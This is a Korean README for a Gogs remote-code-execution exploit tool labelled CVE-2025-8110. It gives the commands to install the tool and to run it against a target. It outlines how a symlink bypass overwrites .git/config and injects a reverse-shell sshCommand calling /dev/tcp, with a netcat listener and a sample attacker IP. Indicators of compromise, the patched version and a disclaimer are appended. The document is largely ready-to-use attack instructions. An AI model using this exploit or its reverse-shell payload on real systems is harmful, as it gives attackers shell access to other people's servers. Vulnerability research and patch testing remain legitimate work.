
Gogs RCE PoC - CVE-2025-8110
CVE-2025-8110에 대한 개념 증명 - 심링크 우회 및 sshCommand 삽입을 통한 Gogs 원격 코드 실행.
이 익스플로잇은 Gogs API의 심링크 우회를 악용하여 .git/config를 덮어쓰고 역방향 셸을 실행하는 악성 sshCommand를 삽입합니다.
git clone https://github.com/X4BROZER/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
인자 설명 -u, --url 대상 Gogs URL (예: http://target:3000) -U, --username Gogs 사용자 이름 -P, --password Gogs 비밀번호 -t, --token Gogs API 토큰 -lh, --host 역방향 셸용 IP -lp, --port 리스너용 포트 -x, --proxy 프록시 활성화 (localhost:8080)
Gogs에 로그인 → 설정 → 애플리케이션 → 토큰 생성
nc -lvnp 4444
python3 exploit.py -u http://target:3000 -U <USERNAME GOGS> -P <PASSWORD GOGS> -t <TOKEN> -lh <ATTACKER IP> -lp <ATTACKER PORT>
python3 exploit.py -u http://localhost:3001 -U amine -P amine -t 44f4e64a1e6353f247050055aa0d3cc13b577ac3 -lh 10.10.17.134 -lp 4444
.git/config에 대한 심링크가 있는 저장소를 생성합니다
PutContents API를 사용하여 심링크에 씁니다
다음을 sshCommand에 삽입합니다: bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #
Gogs가 명령을 실행 → 역방향 셸 획득
문제 해결 문제 해결 방법 로그인 실패 사용자 이름/비밀번호 확인 저장소 생성 실패 API 토큰 재생성 읽기 시간 초과 정상 - 리스너 확인 셸 없음 방화벽 확인, 다른 포트 시도 침해 지표 무작위 8자리 저장소 이름
저장소의 malicious_link 심링크
.git/config의 sshCommand
수정 조치 Gogs v0.13.4 이상으로 업데이트:
wget https://dl.gogs.io/v0.13.4/gogs_v0.13.4_linux_amd64.tar.gz
tar -xzf gogs_v0.13.4_linux_amd64.tar.gz
법적 고지 이 도구는 교육 및 승인된 테스트 용도로만 사용해야 합니다. 무단 접근은 불법입니다.
크레딧 발견: Wiz Research
원본 PoC: zAbuQasem
익스플로잇: X4BROZER